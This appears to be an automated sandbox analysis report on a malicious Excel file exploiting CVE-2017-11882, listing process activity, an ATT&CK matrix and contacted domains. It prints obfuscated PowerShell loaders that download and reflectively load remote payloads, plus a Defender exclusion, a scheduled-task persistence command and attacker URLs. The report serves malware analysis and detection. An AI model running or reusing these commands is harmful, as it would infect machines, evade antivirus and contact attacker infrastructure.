Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "INVOKE-eXpRESSION( ('c'+'F1url = '+'fX'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/No'+'Dete'+'c'+'tOn/No'+'DetectOn'+'/refs/heads/main'+'/DetahN'+'oth-V.'+'txtf'+'X'+'h'+'; cF'+'1'+'bas'+'e'+'64Cont'+'ent'+' ='+' '+'(New-'+'Object '+'Syst'+'e'+'m.'+'N'+'et.WebC'+'li'+'en'+'t)'+'.DownloadStrin'+'g(cF1url);'+' cF'+'1bi'+'n'+'a'+'ryC'+'ontent = [Sy'+'stem.C'+'on'+'v'+'e'+'rt'+']'+'::Fro'+'mBase64Str'+'ing(cF1base64Co'+'nte'+'nt); cF1'+'a'+'ssembly = [R'+'eflecti'+'on.Ass'+'embly'+']:'+':Load(cF'+'1binary'+'Content); '+'['+'dnlib.IO.Home]::VAI(pNAt'+'x'+'t.RERC'+'CR/333/82.14.'+'042.83//:ptthpNA, pN'+'Adesa'+'tivadopNA, pNAdesati'+'vadop'+'NA,'+' pNAd'+'esativadopNA, pNAa'+'spnet_r'+'egbrowserspNA, pNAp'+'NA'+',pNAp'+'NA)').rePlaCe('fXh',[STrinG][Char]39).rePlaCe(([Char]99+[Char]70+[Char]49),[STrinG][Char]36).rePlaCe(([Char]112+[Char]78+[Char]65),[STrinG][Char]34))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\niLILOT.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\niLILOT" /XML "C:\Users\user\AppData\Local\Temp\tmpB50D.tmp"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\niLILOT.exe C:\Users\user\AppData\Roaming\niLILOT.exe
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'su5wt0tflwvycfjfu1njt04oicgnyycrj0yxdxjsid0gjysnzlgnkydoahr0chm6ly9yyscrj3cnkycuz2l0ahvijysndxnlcmnvbnrljysnbnquy28nkydtl05vjysnrgv0zscrj2mnkyd0t24vtm8nkydezxrly3rpbicrjy9yzwzzl2hlywrzl21haw4nkycvrgv0ywhojysnb3rolvyujysndhh0zicrj1gnkydojysnoybjricrjzenkydiyxmnkydljysnnjrdb250jysnzw50jysnid0nkycgjysnke5ldy0nkydpymply3qgjysnu3lzdccrj2unkydtlicrj04nkydldc5xzwjdjysnbgknkydlbicrj3qpjysnlkrvd25sb2fku3ryaw4nkydnkgngmxvybck7jysnigngjysnmwjpjysnbicrj2enkydyeumnkydvbnrlbnqgpsbbu3knkydzdgvtlkmnkydvbicrj3ynkydljysncnqnkyddjysnojpgcm8nkydtqmfzzty0u3ryjysnaw5nkgngmwjhc2u2nenvjysnbnrljysnbnqpoybjrjenkydhjysnc3nlbwjsesa9iftsjysnzwzszwn0ascrj29ulkfzcycrj2vtymx5jysnxtonkyc6tg9hzchjricrjzfiaw5hcnknkyddb250zw50ktsgjysnwycrj2rubglilklplkhvbwvdojpwqukoce5bdccrj3gnkyd0lljfukmnkyddui8zmzmvodiumtqujysnmdqyljgzly86chr0ahboqswgce4nkydbzgvzyscrj3rpdmfkb3boqswgce5bzgvzyxrpjysndmfkb3ankydoqswnkycgce5bzccrj2vzyxrpdmfkb3boqswgce5byscrj3nwbmv0x3inkydlz2jyb3dzzxjzce5blcbwtkfwjysntkenkycsce5bcccrj05bkscplnjlugxhq2uoj2zyaccsw1nucmlur11bq2hhcl0zoskucmvqbgfdzsgow0noyxjdotkrw0noyxjdnzarw0noyxjdndkplfttvhjpbkddw0noyxjdmzyplnjlugxhq2uokftdagfyxtexmitbq2hhcl03octbq2hhcl02nsksw1nucmlur11bq2hhcl0znckp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "invoke-expression( ('c'+'f1url = '+'fx'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/no'+'dete'+'c'+'ton/no'+'detecton'+'/refs/heads/main'+'/detahn'+'oth-v.'+'txtf'+'x'+'h'+'; cf'+'1'+'bas'+'e'+'64cont'+'ent'+' ='+' '+'(new-'+'object '+'syst'+'e'+'m.'+'n'+'et.webc'+'li'+'en'+'t)'+'.downloadstrin'+'g(cf1url);'+' cf'+'1bi'+'n'+'a'+'ryc'+'ontent = [sy'+'stem.c'+'on'+'v'+'e'+'rt'+']'+'::fro'+'mbase64str'+'ing(cf1base64co'+'nte'+'nt); cf1'+'a'+'ssembly = [r'+'eflecti'+'on.ass'+'embly'+']:'+':load(cf'+'1binary'+'content); '+'['+'dnlib.io.home]::vai(pnat'+'x'+'t.rerc'+'cr/333/82.14.'+'042.83//:ptthpna, pn'+'adesa'+'tivadopna, pnadesati'+'vadop'+'na,'+' pnad'+'esativadopna, pnaa'+'spnet_r'+'egbrowserspna, pnap'+'na'+',pnap'+'na)').replace('fxh',[string][char]39).replace(([char]99+[char]70+[char]49),[string][char]36).replace(([char]112+[char]78+[char]65),[string][char]34))"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'su5wt0tflwvycfjfu1njt04oicgnyycrj0yxdxjsid0gjysnzlgnkydoahr0chm6ly9yyscrj3cnkycuz2l0ahvijysndxnlcmnvbnrljysnbnquy28nkydtl05vjysnrgv0zscrj2mnkyd0t24vtm8nkydezxrly3rpbicrjy9yzwzzl2hlywrzl21haw4nkycvrgv0ywhojysnb3rolvyujysndhh0zicrj1gnkydojysnoybjricrjzenkydiyxmnkydljysnnjrdb250jysnzw50jysnid0nkycgjysnke5ldy0nkydpymply3qgjysnu3lzdccrj2unkydtlicrj04nkydldc5xzwjdjysnbgknkydlbicrj3qpjysnlkrvd25sb2fku3ryaw4nkydnkgngmxvybck7jysnigngjysnmwjpjysnbicrj2enkydyeumnkydvbnrlbnqgpsbbu3knkydzdgvtlkmnkydvbicrj3ynkydljysncnqnkyddjysnojpgcm8nkydtqmfzzty0u3ryjysnaw5nkgngmwjhc2u2nenvjysnbnrljysnbnqpoybjrjenkydhjysnc3nlbwjsesa9iftsjysnzwzszwn0ascrj29ulkfzcycrj2vtymx5jysnxtonkyc6tg9hzchjricrjzfiaw5hcnknkyddb250zw50ktsgjysnwycrj2rubglilklplkhvbwvdojpwqukoce5bdccrj3gnkyd0lljfukmnkyddui8zmzmvodiumtqujysnmdqyljgzly86chr0ahboqswgce4nkydbzgvzyscrj3rpdmfkb3boqswgce5bzgvzyxrpjysndmfkb3ankydoqswnkycgce5bzccrj2vzyxrpdmfkb3boqswgce5byscrj3nwbmv0x3inkydlz2jyb3dzzxjzce5blcbwtkfwjysntkenkycsce5bcccrj05bkscplnjlugxhq2uoj2zyaccsw1nucmlur11bq2hhcl0zoskucmvqbgfdzsgow0noyxjdotkrw0noyxjdnzarw0noyxjdndkplfttvhjpbkddw0noyxjdmzyplnjlugxhq2uokftdagfyxtexmitbq2hhcl03octbq2hhcl02nsksw1nucmlur11bq2hhcl0znckp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "invoke-expression( ('c'+'f1url = '+'fx'+'hhttps://ra'+'w'+'.github'+'userconte'+'nt.co'+'m/no'+'dete'+'c'+'ton/no'+'detecton'+'/refs/heads/main'+'/detahn'+'oth-v.'+'txtf'+'x'+'h'+'; cf'+'1'+'bas'+'e'+'64cont'+'ent'+' ='+' '+'(new-'+'object '+'syst'+'e'+'m.'+'n'+'et.webc'+'li'+'en'+'t)'+'.downloadstrin'+'g(cf1url);'+' cf'+'1bi'+'n'+'a'+'ryc'+'ontent = [sy'+'stem.c'+'on'+'v'+'e'+'rt'+']'+'::fro'+'mbase64str'+'ing(cf1base64co'+'nte'+'nt); cf1'+'a'+'ssembly = [r'+'eflecti'+'on.ass'+'embly'+']:'+':load(cf'+'1binary'+'content); '+'['+'dnlib.io.home]::vai(pnat'+'x'+'t.rerc'+'cr/333/82.14.'+'042.83//:ptthpna, pn'+'adesa'+'tivadopna, pnadesati'+'vadop'+'na,'+' pnad'+'esativadopna, pnaa'+'spnet_r'+'egbrowserspna, pnap'+'na'+',pnap'+'na)').replace('fxh',[string][char]39).replace(([char]99+[char]70+[char]49),[string][char]36).replace(([char]112+[char]78+[char]65),[string][char]34))"	Jump to behavior

Source: explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 00000017.00000000.486739927.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000017.00000002.637647033.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000017.00000000.486739927.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000017.00000002.637647033.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000017.00000000.486739927.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000017.00000002.637647033.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: GetLocaleInfoW,wcsncmp,

27_2_0093770C

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\niLILOT.exe	Queries volume information: C:\Users\user\AppData\Roaming\niLILOT.exe VolumeInformation

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_00934143 GetSystemTime,SystemTimeToFileTime,GetLastError,

27_2_00934143

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_0092B0AA GetUserNameExW,GetLastError,wcschr,GetComputerNameW,GetLastError,GetLastError,GetLastError,_wcsnicmp,

27_2_0092B0AA

Source: C:\Windows\SysWOW64\mstsc.exe

Code function: 27_2_008F395D GetVersionExW,CoInitialize,CoCreateInstance,SysFreeString,CoUninitialize,

27_2_008F395D

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Source: Yara match	File source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Source: Yara match	File source: 0000001B.00000002.637430242.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637544486.0000000000310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.511155982.0000000000330000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.637518852.00000000002E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.487856362.0000000003289000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0092CA2C LocalAlloc,CreateWellKnownSid,GetLastError,RpcBindingSetAuthInfoExW,LocalFree,RpcBindingFree,	27_2_0092CA2C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0092C3D8 memset,GetCurrentProcessId,ProcessIdToSessionId,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,RpcBindingFree,	27_2_0092C3D8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_00930486 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcStringFreeW,	27_2_00930486
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 27_2_0093061E RpcBindingSetAuthInfoExW,LocalFree,RpcBindingSetAuthInfoExW,RpcBindingFree,	27_2_0093061E

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 Abuse Elevation Control Mechanism	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	43 Exploitation for Client Execution	1 Scheduled Task/Job	712 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	111 Command and Scripting Interpreter	Login Hook	1 Scheduled Task/Job	31 Obfuscated Files or Information	NTDS	225 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Rootkit	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Masquerading	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	41 Virtualization/Sandbox Evasion	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	712 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO.78NO9.xls	16%	Virustotal		Browse
PO.78NO9.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{71025B50-9EA6-4B02-92C0-2B9E7555DC6C}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen
C:\Users\user\AppData\Roaming\niLILOT.exe	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
m2g.me	0%	Virustotal		Browse
raw.githubusercontent.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
http://go.micros	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://crl.entrust.net/server1.crl0	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://secure.comodo.com/CPS0	0%	URL Reputation	safe
http://tempuri.org/kursovaSQLDataSet.xsd	0%	Virustotal		Browse
https://m2g.me/a080yX	0%	Virustotal		Browse
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	Virustotal		Browse
http://www.autoitscript.com/autoit3	0%	Virustotal		Browse
http://www.nasocnite.xyz	0%	Virustotal		Browse
http://java.sun.com	0%	Virustotal		Browse
http://38.240.41.28/333/RCCRER.txt	0%	Virustotal		Browse
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	0%	Virustotal		Browse
https://raw.githubusercontent.com	0%	Virustotal		Browse
https://m2g.me/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
m2g.me	14.194.50.211	true	true	0%, Virustotal, Browse	unknown
raw.githubusercontent.com	185.199.108.133	true	false	0%, Virustotal, Browse	unknown
www.senior-dating-73474.bond	unknown	unknown	true		unknown
www.my-tournament.live	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://38.240.41.28/333/RCCRER.txt	true	0%, Virustotal, Browse	unknown
http://38.240.41.28/333/wegivenewthingssoonsweetness.tIF	true		unknown
www.lefeetlab.net/gwdv/	true		unknown
https://m2g.me/a080	false		unknown
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt	false		unknown
http://38.240.41.28/333/erf/sweetnessisbthebesttoolevermadefromthehumanmouthwhichfoundverylongtimebeforesweetnessgivinghappinessandentirethingsforhumanwhohave_______nicebeautifulwords.doc	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.lingerie-16071.bond/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lmodt.info/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 0000000F.00000002.493641023.0000000005151000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://m2g.me/a080yX	FC830000.0.dr, ~DF8B1FFFD9F6395A18.TMP.0.dr	false	0%, Virustotal, Browse	unknown
http://tempuri.org/kursovaSQLDataSet.xsd	powershell.exe, 0000000F.00000002.486232559.00000000035F9000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.486215001.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.blackwavetattoostudio.comReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.divineworks.store	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.senior-dating-73474.bond/gwdv/www.lmodt.info	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.3dnu3uix.college	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.blackwavetattoostudio.com/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.intelliflow.run/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.autoitscript.com/autoit3	explorer.exe, 00000017.00000000.486184316.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.637462841.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl.microsMR	aspnet_regbrowsers.exe, 00000011.00000002.490337170.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.501592598.0000000002340000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.481286410.0000000002491000.00000004.00000800.00020000.00000000.sdmp, aspnet_regbrowsers.exe, 00000011.00000002.487220752.0000000002281000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lingerie-16071.bondReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.boyxlife.cyouReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.intelliflow.run/gwdv/www.3dnu3uix.college	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.boyxlife.cyou/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.my-tournament.live	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.nasocnite.xyz	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://www.divineworks.store/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.spanish-classes-13883.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.highercall.net/gwdv/www.incronizid.dev	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.boyxlife.cyou	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.highercall.net/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lefeetlab.netReferer:	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.486232559.00000000034B9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.lmodt.info/gwdv/www.divineworks.store	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.divineworks.store/gwdv/www.lingerie-16071.bond	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
http://www.lefeetlab.net/gwdv/	explorer.exe, 00000017.00000002.638907259.0000000007103000.00000004.00000001.00020000.00000000.sdmp	false		unknown
